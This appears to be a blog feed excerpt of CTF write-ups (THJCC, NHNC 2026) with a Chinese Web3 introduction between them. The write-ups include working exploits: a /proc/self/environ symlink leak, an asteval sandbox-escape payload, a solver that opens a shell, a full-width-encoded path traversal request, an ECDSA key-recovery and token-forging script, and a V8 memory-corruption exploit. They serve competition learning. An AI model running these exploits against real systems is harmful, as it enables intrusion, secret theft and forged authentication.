<p>The flag for this challenge is stored in an environment variable, so we can solve the challenge with two simple Linux commands:</p>
<ol>
<li><code>ln -s /proc/self/environ test.txt</code></li>
<li><code>tar -cf solve.tar test.txt</code></li>
</ol>
<p>Then upload <code>solve.tar</code> and download the generated snapshot. The flag will be visible inside.</p>
<h3>SO EZ MISC</h3>
<ul>
<li>solve: 26/315</li>
</ul>
<p>First connect to the service. It looks like a calculator. Send some non-UTF-8 input to trigger an error:</p>
<pre><code>printf '\xfe\n' | nc HOST PORT
</code></pre>
<p>Result:</p>
<pre><code>calc&gt; Traceback (most recent call last):
  File "/usr/local/lib/python3.13/site-packages/asteval/asteval.py", line 277, in parse
    out = ast.parse(text)
  File "/usr/local/lib/python3.13/ast.py", line 50, in parse
    return compile(source, filename, mode, flags,
                   _feature_version=feature_version, optimize=optimize)
UnicodeEncodeError: 'utf-8' codec can't encode character '\udcfe' in position 0: surrogates not allowed

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/usr/local/lib/python3.13/site-packages/asteval/asteval.py", line 354, in eval
    node = self.parse(expr)
  File "/usr/local/lib/python3.13/site-packages/asteval/asteval.py", line 281, in parse
    self.raise_exception(None, exc=RuntimeError, expr=text)
    ~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/local/lib/python3.13/site-packages/asteval/asteval.py", line 264, in raise_exception
    raise exc(self.error_msg)
RuntimeError

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/srv/server.py", line 130, in &lt;module&gt;
    main()
    ~~~~^^
  File "/srv/server.py", line 126, in main
    print(evaluate(interp, line), flush=True)
          ~~~~~~~~^^^^^^^^^^^^^^
  File "/srv/server.py", line 107, in evaluate
    result = interp(src, raise_errors=False)
  File "/usr/local/lib/python3.13/site-packages/asteval/asteval.py", line 344, in __call__
    return self.eval(expr, **kw)
           ~~~~~~~~~^^^^^^^^^^^^
  File "/usr/local/lib/python3.13/site-packages/asteval/asteval.py", line 363, in eval
    print(errmsg, file=self.err_writer)
    ~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
UnicodeEncodeError: 'utf-8' codec can't encode character '\udcfe' in position 0: surrogates not allowed
</code></pre>
<p>Anyway, from this we can tell that the service is using Python’s <code>asteval</code>, and that the Python version is 3.13.</p>
<p>If we look through the source code:</p>
<p><a href="https://github.com/lmfit/asteval/blob/master/asteval/asteval.py" rel="noopener noreferrer" target="_blank">source</a></p>
<p>we find that <code>asteval</code> has a CVE:</p>
<p><a href="https://github.com/lmfit/asteval/security/advisories/GHSA-3wwr-3g9f-9gc7" rel="noopener noreferrer" target="_blank">CVE / advisory</a></p>
<p>The important part is near the end:</p>
<pre><code>def on_formattedvalue(self, node): # ('value', 'conversion', 'format_spec')
    "formatting used in f-strings"
    val = self.run(node.value)
    fstring_converters = {115: str, 114: repr, 97: ascii}
    if node.conversion in fstring_converters:
        val = fstring_converters[node.conversion](val)
    fmt = '{__fstring__}'
    if node.format_spec is not None:
        fmt = f'{{__fstring__:{self.run(node.format_spec)}}}'
    return safe_format(fmt, self.raise_exception, node, __fstring__=val)
</code></pre>
<p>According to the challenge description, <code>The bug has no patch</code>, so directly using the PoC from the advisory will not work, because that PoC was already blocked in version 1.0.6, while the challenge is running version 1.0.9.</p>
<p>Comparing the current implementation of <code>on_formattedvalue</code>, we can see that only the last line changed:</p>
<pre><code># 1.0.6
return fmt.format(__fstring__=val)

# 1.0.9
return safe_format(fmt, self.raise_exception, node, __fstring__=val)
</code></pre>
<p>Version 1.0.9 simply replaced <code>fmt.format</code> with its own <code>safe_format</code>. However, <code>format_spec</code> is still first evaluated into a string using <code>self.run()</code>, and that string is then concatenated back into the f-string format template.</p>
<p>So what exactly does <code>SafeFormatter</code> block?</p>
<p>Let’s continue reading the source:</p>
<pre><code>class SafeFormatter(Formatter):
    def __init__(self, raise_exc, node):
        self.raise_exc = raise_exc
        self.node = node
        super().__init__()

    def get_field(self, field_name, args, kwargs):
        first, rest = formatter_field_name_split(field_name)
        obj = self.get_value(first, args, kwargs)
        for is_attr, i in rest:
            if is_attr:
                obj = safe_getattr(obj, i, self.raise_exc, self.node)
            else:
                obj = obj[i]
        return obj, first
</code></pre>
<p>Then follow <code>safe_getattr</code>:</p>
<pre><code>def safe_getattr(obj, attr, raise_exc, node, allow_unsafe_modules=False):
    """safe version of getattr"""
    unsafe = (attr in UNSAFE_ATTRS or
            (attr.startswith('__') and attr.endswith('__')))
    if not unsafe:
        for dtype, attrlist in UNSAFE_ATTRS_DTYPES.items():
            unsafe = (isinstance(obj, dtype) or obj is dtype) and attr in attrlist
            if unsafe:
                break
    if not unsafe and not allow_unsafe_modules:
        for mod in UNSAFE_MODULES:
            unsafe = obj is mod or getattr(obj, attr) is mod
            if unsafe:
                break
    if unsafe:
        msg = f"no safe attribute '{attr}' for {repr(obj)}"
        raise_exc(node, exc=AttributeError, msg=msg)
    else:
        return getattr(obj, attr, None)
</code></pre>
<p>We can see that it mainly blocks <code>__</code> attributes, but arbitrary object traversal is still possible.</p>
<p>Connect to the challenge:</p>
<pre><code>calc&gt; WB
Workbook(name='Q3-Financials', sheets={'summary': Sheet(title='Summary', owner=User(name='guest', role='viewer', session=Session(id='sess-0000', token=&lt;Secret value=***REDACTED***&gt;)), cells={'A1': 42, 'A2': 1337}), 'audit': Sheet(title='Audit Trail', owner=User(name='auditor', role='root', session=Session(id='sess-c0ffee', token=&lt;Secret value=***REDACTED***&gt;)), cells={'A1': 0})})
</code></pre>
<p>Our target is:</p>
<p><code>WB.sheets["audit"].owner.session.token.value</code></p>
<p>If we send it directly, we get:</p>
<p><code>error: banned character '['</code></p>
<p>An obvious bypass is to construct banned characters using <code>chr()</code>.</p>
<p>The payload structure is roughly:</p>
<p><code>f"{WB:SPEC}"</code></p>
<p>where <code>SPEC</code> is:</p>
<p><code>'}{__fstring__.sheets[audit].owner.session.token.value'</code></p>
<p>After formatting, this becomes:</p>
<p><code>{__fstring__:}{__fstring__.sheets[audit].owner.session.token.value}</code></p>
<p>So the final payload is:</p>
<p><code>f"{WB:{'}{__fstring__.sheets[audit].owner.session.token.value'}}"</code></p>
<p>Then replace some banned characters with <code>chr()</code>:</p>
<p><code>f"{WB:{"}{"+chr(95)*2+"fstring"+chr(95)*2+".sheets"+chr(91)+"audit"+chr(93)+".owner.session.token.value"}}"</code></p>
<h3>CTFxck</h3>
<ul>
<li>solve: 14/315</li>
</ul>
<p>This is another jail-style challenge. The challenge gives us the following information:</p>
<ol>
<li>The server is running a CTFuck interpreter.</li>
<li>We send a CTFuck program, followed by <code>EOF</code> on the last line.</li>
<li>Whatever the program prints is then passed to <code>exec()</code> by the server.</li>
</ol>
<p>For information about CTFuck, see:</p>
<p><a href="https://esolangs.org/wiki/CTFuck" rel="noopener noreferrer" target="_blank">https://esolangs.org/wiki/CTFuck</a></p>
<p>I set the maximum input length to 110 characters, which means the examples on the wiki aren’t very useful.</p>
<p>There are two obvious payload choices:</p>
<ol>
<li><code>breakpoint()</code></li>
<li><code>exec(input())</code></li>
</ol>
<p>So the problem becomes: how do we print 12–13 bytes using as few CTFuck characters as possible?</p>
<p>Let’s first look at the approach shown on the wiki.</p>
<p>The intuitive way to print one byte is to push its eight bits, then traverse them one by one:</p>
<pre><code>01001000
.$.$.$.$.$.$.$.$
</code></pre>
<p>That takes:</p>
<p>8 + 1 + 16 = 25 characters</p>
<p>just to print one byte, so there is no way to fit the payload under 110 characters.</p>
<p>Instead, we should inspect the interpreter:</p>
<p><a href="https://github.com/pro465/ctfuck/blob/9f343df145455f3c2604bbb79789d0b3aa32c601/src/main.rs" rel="noopener noreferrer" target="_blank">https://github.com/pro465/ctfuck/blob/9f343df145455f3c2604bbb79789d0b3aa32c601/src/main.rs</a></p>
<p>One important detail is that when the queue is empty, executing <code>$</code>, <code>.</code>, <code>:</code>, or <code>[a|b]</code> terminates the whole program.</p>
<p>So we do not need to traverse every bit manually. We can push all bits of the payload into the queue first, then drain the queue:</p>
<pre><code>&lt;payload bits&gt;
.$[2|2]
</code></pre>
<p><code>.</code> prints the front item but does not pop it, so it must be followed by <code>$</code>.</p>
<p><code>[2|2]</code> jumps back to line 2 regardless of whether the current bit is 0 or 1, creating an infinite loop. Once the queue becomes empty, the interpreter automatically terminates.</p>
<ul>
<li>solve script</li>
</ul>
<pre><code>#!/usr/bin/env python3
from pwn import *

def compile(payload):
    bits = ""
    for c in payload:
        for i in range(8):
            bits += str(c &gt;&gt; i &amp; 1)
    return bits.rstrip("0") + "\n.$[2|2]"

src = compile(b"exec(input())")

io = remote(HOST, PORT)
io.sendlineafter(b"&gt;&gt;&gt; ", src.encode() + b"\nEOF")
io.sendline(b"import os;os.system('/bin/sh')")
io.interactive()
</code></pre>
<h3>Shifting…v2?</h3>
<ul>
<li>solve: 3/315</li>
</ul>
<p>Previous writeup:</p>
<p><a href="https://hackmd.io/@xzhiyouu/THJCC-2026" rel="noopener noreferrer" target="_blank">https://hackmd.io/@xzhiyouu/THJCC-2026</a></p>
<p>The approach is basically the same as before. Eventually, we get a Pastebin URL:</p>
<p><a href="https://pastebin.com/D15r3g" rel="noopener noreferrer" target="_blank">https://pastebin.com/D15r3g</a></p>
<p>A lot of people got stuck here.</p>
<p>If you create your own Pastebin and check the URL format, you’ll notice that the code at the end should actually contain eight characters.</p>
<p>So we just write a script to brute-force the missing character.</p>
<p>Eventually, we get:</p>
<p><a href="https://pastebin.com/D15r3grG" rel="noopener noreferrer" target="_blank">https://pastebin.com/D15r3grG</a></p>
<p>Open it, and the flag is there.</p>
<h2>Web</h2>
<h3>SimpleNotes</h3>
<ul>
<li>solve: 21/315</li>
</ul>
<p>This is a black-box web challenge. After opening the site, we can see that it’s a note-taking app.</p>
<p>The goal is to read <code>/flag</code>, so path traversal is obviously the intended direction.</p>
<p>I’ll explain it directly using the source code.</p>
<ul>
<li><code>NoteController.java</code></li>
</ul>
<pre><code>package tw.thjcc.simplenotes;

import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

import java.io.File;
import java.io.IOException;
import java.net.URLDecoder;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;

@RestController
public class NoteController {

    private static final File NOTE_DIR = new File("/app/notes");

    @GetMapping(value = "/api/notes", produces = MediaType.APPLICATION_JSON_VALUE)
    public List&lt;String&gt; list() {
        File[] files = NOTE_DIR.listFiles(File::isFile);
        if (files == null) {
            return Collections.emptyList();
        }

        List&lt;String&gt; names = new ArrayList&lt;&gt;();
        for (File f : files) {
            names.add(f.getName());
        }

        Collections.sort(names);
        return names;
    }

    @GetMapping(value = "/api/read", produces = MediaType.TEXT_PLAIN_VALUE + ";charset=UTF-8")
    public ResponseEntity&lt;String&gt; read(@RequestParam("f") String f) throws IOException {
        String name = URLDecoder.decode(f, StandardCharsets.UTF_8);

        File target = new File(NOTE_DIR, name);
        if (!target.isFile()) {
            return ResponseEntity.status(404).body("note not found: " + name);
        }

        byte[] data = Files.readAllBytes(target.toPath());
        return ResponseEntity.ok(new String(data, StandardCharsets.UTF_8));
    }
}
</code></pre>
<ul>
<li><code>PathGuardFilter.java</code></li>
</ul>
<pre><code>package tw.thjcc.simplenotes;

import jakarta.servlet.Filter;
import jakarta.servlet.FilterChain;
import jakarta.servlet.ServletException;
import jakarta.servlet.ServletRequest;
import jakarta.servlet.ServletResponse;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import org.springframework.boot.web.servlet.FilterRegistrationBean;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;

import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.util.regex.Pattern;

public class PathGuardFilter implements Filter {

    private static final Pattern[] RULES = {
            Pattern.compile("\\.\\."),
            Pattern.compile("(?i)%2e"),
            Pattern.compile("(?i)%2f"),
            Pattern.compile("(?i)%5c"),
            Pattern.compile("\\\\"),
            Pattern.compile("^/"),
            Pattern.compile("\\x00")
    };

    @Override
    public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain)
            throws IOException, ServletException {

        HttpServletRequest request = (HttpServletRequest) req;

        if (rejected(request.getQueryString())) {
            block((HttpServletResponse) res);
            return;
        }

        for (String[] values : request.getParameterMap().values()) {
            for (String value : values) {
                if (rejected(value)) {
                    block((HttpServletResponse) res);
                    return;
                }
            }
        }

        chain.doFilter(req, res);
    }

    private boolean rejected(String input) {
        if (input == null || input.isEmpty()) {
            return false;
        }

        for (Pattern rule : RULES) {
            if (rule.matcher(input).find()) {
                return true;
            }
        }

        return false;
    }

    private void block(HttpServletResponse response) throws IOException {
        response.setStatus(HttpServletResponse.SC_FORBIDDEN);
        response.setContentType("text/plain;charset=UTF-8");
        response.setCharacterEncoding(StandardCharsets.UTF_8.name());
        response.getWriter().write("u are blocked XD");
    }

    @Configuration
    public static class Registration {
        @Bean
        public FilterRegistrationBean&lt;PathGuardFilter&gt; pathGuard() {
            FilterRegistrationBean&lt;PathGuardFilter&gt; bean = new FilterRegistrationBean&lt;&gt;();
            bean.setFilter(new PathGuardFilter());
            bean.addUrlPatterns("/api/*");
            bean.setOrder(1);
            return bean;
        }
    }
}
</code></pre>
<p>Take a close look at this line in <code>NoteController.java</code>:</p>
<pre><code>String name = URLDecoder.decode(f, StandardCharsets.UTF_8);
</code></pre>
<p>The filter checks the parameter value after Tomcat has already decoded it once.</p>
<p>Then the controller calls <code>URLDecoder.decode()</code> on it again.</p>
<p>In other words, the filter and the controller are not actually looking at the same string.</p>
<p>So all we need is an encoding that does not look like <code>../</code> to the filter’s regex, but that <code>URLDecoder</code> will decode into <code>../</code>.</p>
<p>Looking at the JDK 17 implementation of <code>URLDecoder.decode()</code>:</p>
<p><a href="https://github.com/openjdk/jdk/blob/master/src/java.base/share/classes/java/net/URLDecoder.java" rel="noopener noreferrer" target="_blank">source</a></p>
<p>the loop that processes <code>%</code> sequences looks like this:</p>
<pre><code>while ( ((i+2) &lt; numChars) &amp;&amp; (c=='%')) {
    int v = Integer.parseInt(s, i + 1, i + 3, 16);
    if (v &lt; 0)
        throw new IllegalArgumentException(...);
    bytes[pos++] = (byte) v;
    i += 3;
    if (i &lt; numChars)
        c = s.charAt(i);
}
</code></pre>
<p>P.S. This challenge uses an older version. The newer implementation has already fixed this behavior:</p>
<p><a href="https://github.com/openjdk/jdk/commit/03fd43fc91ea383418c1c7e0fd96a61a1f42c75e" rel="noopener noreferrer" target="_blank">link</a></p>
<p>The important line is:</p>
<p><code>Integer.parseInt(s, i+1, i+3, 16)</code></p>
<p>Internally, this uses <code>Character.digit()</code>.</p>
<p>Looking at the Javadoc, we can see that it accepts Unicode decimal digits and Latin letters, not only ASCII characters.</p>
<p>For example:</p>
<pre><code>Character.digit('２', 16) == 2      // U+FF12
Character.digit('ｅ', 16) == 14     // U+FF45
</code></pre>
<p>Therefore:</p>
<p><code>URLDecoder.decode("%２ｅ")</code></p>
<p>decodes to:</p>
<p><code>.</code></p>
<p>So the payload simply replaces the hexadecimal digits with full-width characters while leaving <code>%</code> as a normal ASCII percent sign:</p>
<pre><code>%２ｅ%２ｅ%２ｆ%２ｅ%２ｅ%２ｆflag.txt
</code></pre>
<p>Then call the API:</p>
<pre><code>curl 'http://chal.thjcc.org:12024/api/read?f=%25%EF%BC%92%EF%BD%85%25%EF%BC%92%EF%BD%85%25%EF%BC%92%EF%BD%86%25%EF%BC%92%EF%BD%85%25%EF%BC%92%EF%BD%85%25%EF%BC%92%EF%BD%86flag.txt'
</code></pre>
<p>The inspiration for this challenge came from Black Hat Asia 2026:</p>
<p><a href="https://github.com/Mr-xn/BLACKHAT_Asia2026/blob/main/Asia-26-Bai-Cast-Attack-Ghost-Bits-4.23.pdf" rel="noopener noreferrer" target="_blank">material</a></p>
<p>I happened to come across it one day while searching for references.</p>]]></content:encoded>
      <author>xzhiyouu62</author>
      <category>CTF</category>
    </item>
    <item>
      <title>What is Web3?</title>
      <link>https://www.xzhiyouu.idv.tw/posts/區塊鏈基礎知識</link>
      <guid>https://www.xzhiyouu.idv.tw/posts/區塊鏈基礎知識</guid>
      <updated>2026-07-24T00:00:00.000Z</updated>
      <pubDate>2026-07-24T00:00:00.000Z</pubDate>
      <description><![CDATA[]]></description>
      <content:encoded><![CDATA[<img src="https://www.xzhiyouu.idv.tw/_astro/cover.Cfu_hQ_i_50Ue2.webp" alt="What is Web3?" style="width: 100%; height: auto; margin-bottom: 1em;" />
<h2>前言</h2>
<p>因為暑假實在是太無聊了，加上對 Web3 有些興趣，所以就利用時間來學習一下。<br />
很多內容都是參考<a href="https://ethereum.org/developers/docs/" rel="noopener noreferrer" target="_blank">以太坊官網</a>以及bilibili上的影片，有錯誤請見諒🙏</p>
<h2>什麼是 Web 3？</h2>
<p>先來說說什麼是 Web 1.0 和 Web 2.0吧，Web 1.0的特性是只能讀，意思就是只能上網讀資訊，像是平常瀏覽網頁這種就算，到了 Web 2.0 我們能夠讀也能夠寫，像是使用社群時，我們不僅可以看到朋友們的貼文，也能夠在貼文底下留言，除了讀，也可以寫資訊。那在 Web 3.0 的時代裡強調使用者可以直接控制自己的數位資產以及部分數位身分與資料，而不需要完全依賴中心化平台。</p>
<h2>什麼是區塊鏈？</h2>
<p>常常聽到區塊鏈與去中心化這個名詞綁在一起，那什麼是區塊鏈，去中心化又是什麼呢？
在傳統系統通常會由一個中央機構（例如銀行）負責管理所有資料，而區塊鏈則是將資料分散儲存在世界各地的節點中，區塊鏈會將帳本分散儲存在許多節點中，每個完整節點都保存一份完整的帳本。當有人發起一筆交易時，是由網路中的節點共同驗證，確認交易合法後才會寫入區塊，並永久保存。</p>
<h2>區塊鏈之三大核心</h2>
<ul>
<li>
<h4>去中心化</h4>
</li>
</ul>
<p>去中心化代表沒有任何一個單位擁有絕對控制權，也就是說交易不需要依賴單一中心化機構進行驗證，而是由整個區塊鏈網路共同驗證交易。</p>
<ul>
<li>
<h4>共識</h4>
</li>
</ul>
<p>因為沒有像傳統金融那樣有中央管理者，因此所有節點必須透過共識來決定哪些交易是真實且有效的，只有當大部分節點都同意後，交易才會被加入區塊鏈，那要怎麼決定主要會由工作量證明及權益證明，也就是 PoW (Proof of Work) 和 PoS (Proof of Stake) 來決定。</p>
<ul>
<li>
<h4>不可竄改</h4>
</li>
</ul>
<p>區塊鏈中的每個區塊都包含前一個區塊的 Hash，形成首尾相連的鏈狀結構。如果有人試圖修改已經寫入的資料，後續所有區塊的雜湊值都會改變，因此很容易被其他節點發現，使得資料難以被竄改。</p>
<h2>女巫攻擊（Sybil Attack）</h2>
<p>攻擊者通過創建多個虛假身分來操控和破壞網路系統，控制多數節點來影響共識過程或干擾網路正常運行，而區塊鏈會透過共識演算法提高攻擊成本，避免任何人可以輕易建立大量節點來控制網路。</p>
<h2>共識演算法</h2>
<h3>Proof of Work（PoW）</h3>
<p>中文叫工作量證明，節點需要消耗大量運算能力來解決數學難題，也就是俗稱的挖礦。第一個成功找到符合條件雜湊值的礦工，可以提出新的區塊，經其他節點驗證後獲得區塊獎勵與交易手續費，Bitcoin 採用 PoW，因此礦工會投入大量算力競爭記帳權，以獲得區塊獎勵及交易手續費。</p>
<h3>Proof of Stake（PoS）</h3>
<p>PoS 的出現主要是希望取代 PoW 來減少挖礦的大量運算，因為 PoW 比的是誰算力強，而在 PoS ，驗證者需要質押一定數量的加密貨幣作為權益，通常質押越多，被選中產生下一個區塊的機率越高。</p>
<h2>以太坊合併</h2>
<p>2022 年，以太坊完成合併，也就是說，PoS 正式取代 PoW，帶來的影響包括不再需要礦工挖礦及能源消耗降低許多等。<br />
詳細一點可以參考以太坊官網：<a href="https://ethereum.org/roadmap/merge/" rel="noopener noreferrer" target="_blank">https://ethereum.org/roadmap/merge/</a></p>
<h2>以太坊智能合約</h2>
<p>智能合約是一種自執行的合約，合同條款直接寫入代碼中，並在區塊鏈網路上運行。當預先設定的條件成立時，智能合約便會自動執行程式碼，無須第三方介入。</p>
<ul>
<li>
<h4>特色</h4>
</li>
</ul>
<ol>
<li>去中心化</li>
<li>數據透明</li>
<li>不可竄改</li>
<li>降低交易對手風險</li>
</ol>
<ul>
<li>
<h4>典型應用</h4>
</li>
</ul>
<ol>
<li>去中心化金融(DeFi)</li>
<li>非同質化通證(NFT)</li>
<li>去中心化自治組織(DAO)</li>
</ol>]]></content:encoded>
      <author>xzhiyouu62</author>
      <category>web3</category><category>blockchain</category>
    </item>
    <item>
      <title>NHNC CTF 2026 writeup</title>
      <link>https://www.xzhiyouu.idv.tw/posts/nhnc-ctf-2026-writeup</link>
      <guid>https://www.xzhiyouu.idv.tw/posts/nhnc-ctf-2026-writeup</guid>
      <updated>2026-07-07T00:00:00.000Z</updated>
      <pubDate>2026-07-07T00:00:00.000Z</pubDate>
      <description><![CDATA[]]></description>
      <content:encoded><![CDATA[<img src="https://www.xzhiyouu.idv.tw/_astro/NHNC.B4-3Jwr6_2eVOmn.webp" alt="NHNC CTF 2026 writeup" style="width: 100%; height: auto; margin-bottom: 1em;" />
<p>跟新加入的臺灣學生戰隊 <code>RCEs</code> 第一次打比賽，拿了學生組第一。
<img src="https://hackmd.io/_uploads/BkF1UUqmMe.png" alt="image" />
<img src="https://hackmd.io/_uploads/HJMN88qQMl.png" alt="image" /></p>
<p>感謝各位大佬帶我飛🙏</p>
<h2>Talking to the Sun</h2>
<ul>
<li>Author: whale120</li>
</ul>
<p>使用者可以註冊、登入，然後產生一段 lyric line。伺服器會對 <code>{account, message}</code> 做 ECDSA 簽章，並把結果包成 token，目標是提交一個通過驗證、且 <code>account == whale@whale-tw.com</code> 的 token，驗證成功後 <code>/api/verify</code> 會回傳 flag。</p>
<p>Exploit:</p>
<ol>
<li>多個不同帳號共用同一個 stored account</li>
<li>ECDSA nonce 高 384 bits 相同</li>
<li>Hidden Number Problem</li>
<li>LLL 還原私鑰</li>
<li>偽造 admin token 拿 flag</li>
</ol>
<ul>
<li><code>solver.py</code></li>
</ul>
<pre><code>#!/usr/bin/env python3
import base64, hashlib, json, secrets, requests
from urllib.parse import urljoin
from ecdsa.curves import BRAINPOOLP512r1
from fpylll import IntegerMatrix, LLL

BASE = "change challenge url here"
SAMPLES = 6
B = 1 &lt;&lt; 128
ADMIN = "whale@whale-tw.com"
TARGET = "SinGen Said: At sunrise, when it answers over my signal, I sit by the sun."

def b64e(x): return base64.urlsafe_b64encode(x).rstrip(b"=").decode()
def b64d(x): return base64.urlsafe_b64decode(x + "=" * (-len(x) % 4))

def payload(a, m):
    return json.dumps({"account": a, "message": m}, ensure_ascii=False,
                      sort_keys=True, separators=(",", ":"))

def z(a, m):
    return int.from_bytes(hashlib.sha512(payload(a, m).encode()).digest(), "big")

def parse(t, size):
    _, p, sig = t.split(".")
    p, sig = json.loads(b64d(p)), b64d(sig)
    a, m = p["account"], p["message"]
    r = int.from_bytes(sig[:size], "big")
    s = int.from_bytes(sig[size:], "big")
    return a, m, r, s, z(a, m)

def fake_mail(i):
    return "a@b." + "\u0130" * 32766 + f"x{i}{secrets.token_hex(8)}.com"

def mat(rows):
    M = IntegerMatrix(len(rows), len(rows[0]))
    for i in range(len(rows)):
        for j in range(len(rows[0])):
            M[i, j] = int(rows[i][j])
    return M

def center(x, n):
    x %= n
    return x - n if x &gt; n // 2 else x

def collect():
    base = BASE.rstrip("/") + "/"
    info = requests.get(urljoin(base, "/api/info")).json()
    n, size = int(info["order"]), int(info["order_bytes"])
    sigs = []

    for i in range(SAMPLES):
        s = requests.Session()
        mail = fake_mail(i)
        pw = "A" * 16

        s.post(urljoin(base, "/register"), data={"email": mail, "password": pw})
        s.post(urljoin(base, "/login"), data={"email": mail, "password": pw})

        opt = {
            "time": i % 50,
            "motion": (i * 7 + 1) % 50,
            "place": (i * 11 + 2) % 50,
            "seat": (i * 13 + 3) % 50,
        }

        token = s.post(urljoin(base, "/api/generate"), json=opt).json()["token"]
        sigs.append(parse(token, size))

    return base, info, n, size, sigs

def recover(n, sigs):
    r0, s0, h0 = sigs[0][2], sigs[0][3], sigs[0][4]
    inv = pow(s0, -1, n)
    a0, c0 = r0 * inv % n, h0 * inv % n

    A, C = [], []
    for _, _, r, s, h in sigs[1:]:
        inv = pow(s, -1, n)
        A.append((r * inv - a0) % n)
        C.append((h * inv - c0) % n)

    for m in range(2, min(len(A), 8) + 1):
        rows = []
        for i in range(m):
            row = [0] * (m + 1)
            row[i] = n * n
            rows.append(row)

        rows.append([x * n for x in A[:m]] + [B])
        target = [-x * n for x in C[:m]] + [0]
        weight = B * n

        L = mat([r + [0] for r in rows] + [target + [weight]])
        LLL.reduction(L)

        for i in range(L.nrows):
            row = [int(L[i, j]) for j in range(L.ncols)]
            if abs(row[-1]) != weight:
                continue

            row = [(1 if row[-1] &gt; 0 else -1) * x for x in row[:-1]]

            for a, c, v in zip(A[:m], C[:m], row[:m]):
                if v % n:
                    continue

                for e in (v // n, -v // n):
                    d = (e - c) * pow(a, -1, n) % n
                    if all(abs(center(a * d + c, n)) &lt; B for a, c in zip(A, C)):
                        return d

def sign(a, m, d, n, size):
    G = BRAINPOOLP512r1.generator
    h = z(a, m)

    while True:
        k = secrets.randbelow(n - 1) + 1
        r = (k * G).x() % n
        s = pow(k, -1, n) * (h + r * d) % n
        if r and s:
            sig = r.to_bytes(size, "big") + s.to_bytes(size, "big")
            return "singen." + b64e(payload(a, m).encode()) + "." + b64e(sig)

base, info, n, size, sigs = collect()
d = recover(n, sigs)
admin = info.get("admin_account", ADMIN)
target = info.get("target", TARGET)
token = sign(admin, target, d, n, size)
print(requests.post(urljoin(base, "/api/verify"), json={"token": token}).text)
</code></pre>
<hr />
<h2>Web3JS</h2>
<ul>
<li>Author: whale120</li>
</ul>
<p>題目提供一個被修改過的 <code>d8</code>，裡面多了一個 <code>evm()</code> API。使用者送 base64 encoded JavaScript 給服務端執行。目標是利用自訂 EVM binding 的漏洞，在 V8 裡拿到 arbitrary read/write，最後呼叫 hidden <code>v8::Shell::System</code>執行 <code>/readflag</code> 拿 flag。</p>
<p>Exploit:</p>
<ol>
<li><code>vm.push(obj)</code> 會把 JS object 的 raw tagged pointer 放進 EVM stack</li>
<li><code>vm.stack()</code> 可以把這個值讀出來，形成 <code>addrof</code></li>
<li><code>vm.get(idx)</code> 沒有檢查 stack 下界，<code>vm.get(0)</code> 可以讀到 <code>stack[-1]</code></li>
<li>用 <code>MSTORE8</code> 在 EVM memory 裡偽造 stack slot，讓 <code>vm.get(0)</code> 回傳任意 tagged pointer，形成 fakeobj</li>
<li>偽造 <code>PACKED_DOUBLE JSArray</code>，得到 heap arbitrary read/write</li>
<li>找到 <code>d8.file.exists</code> 的 <code>FunctionTemplateInfo.callback</code></li>
<li>把 callback 從 <code>v8::Shell::FileExists</code> 改成 <code>v8::Shell::System</code></li>
<li>呼叫 <code>d8.file.exists('/readflag')</code>，實際會變成 <code>system('/readflag')</code></li>
</ol>
<ul>
<li><code>exploit.js</code></li>
</ul>
<pre><code>const convBuf = new ArrayBuffer(8);
const f64 = new Float64Array(convBuf);
const u64 = new BigUint64Array(convBuf);

function ftoi(x) {
  f64[0] = x;
  return u64[0];
}

function itof(x) {
  u64[0] = x;
  return f64[0];
}

function addrof(obj) {
  const vm = evm('00');
  vm.push(obj);
  return BigInt(vm.stack(1)[0]);
}

function writeByte(vm, off, val) {
  vm.push(val &amp; 0xff);
  vm.push(off);
  vm.step();
}

function fakeobj(addr) {
  const vm = evm('53'.repeat(16));
  const fakeSlotOff = 0xffd8;

  for (let i = 0; i &lt; 8; i++) {
    writeByte(vm, fakeSlotOff + i, i === 0 ? 1 : 0);
  }

  for (let i = 0; i &lt; 8; i++) {
    writeByte(vm, fakeSlotOff + 8 + i, Number((addr &gt;&gt; BigInt(8 * i)) &amp; 0xffn));
  }

  return vm.get(0);
}

const container = [1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8];

const containerAddr = addrof(container);
const elementsAddr = containerAddr - 0x48n;
const fakeArrayAddr = elementsAddr + 0x8n;

const PACKED_DOUBLE_ARRAY_MAP = 0x0100d30dn;
const EMPTY_FIXED_ARRAY = 0x000007e5n;

container[0] = itof((EMPTY_FIXED_ARRAY &lt;&lt; 32n) | PACKED_DOUBLE_ARRAY_MAP);
container[1] = itof((0x100n &lt;&lt; 32n) | (elementsAddr &amp; 0xffffffffn));

const fakeArray = fakeobj(fakeArrayAddr);

function setFakeElements(addr) {
  container[1] = itof((0x100n &lt;&lt; 32n) | ((addr - 8n + 1n) &amp; 0xffffffffn));
}

function aar64(addr) {
  setFakeElements(addr);
  return ftoi(fakeArray[0]);
}

function aaw64(addr, val) {
  setFakeElements(addr);
  fakeArray[0] = itof(val);
}

function fullPtr(compressed) {
  return (containerAddr &amp; 0xffffffff00000000n) | compressed;
}

const target = d8.file.exists;
const targetAddr = addrof(target);

const sfi = fullPtr(aar64(targetAddr - 1n + 16n) &amp; 0xffffffffn);
const functionTemplateInfo = fullPtr(aar64(sfi - 1n + 8n) &amp; 0xffffffffn);

const callbackField = functionTemplateInfo - 1n + 60n;
const fileExistsCallback = aar64(callbackField);

const shellSystem = fileExistsCallback - 0x1a80n;

aaw64(callbackField, shellSystem);

print(d8.file.exists('/readflag'));
</code></pre>
<hr />
<h2>#include</h2>
<ul>
<li>Author: solarfish</li>
</ul>
<p>打開前端可以看到它會檢查 URL：</p>
<pre><code>if (!/^https?:\/\//i.test(url)) {
  result.textContent = 'URL must start with http:// or https://';
  return;
}
</code></pre>
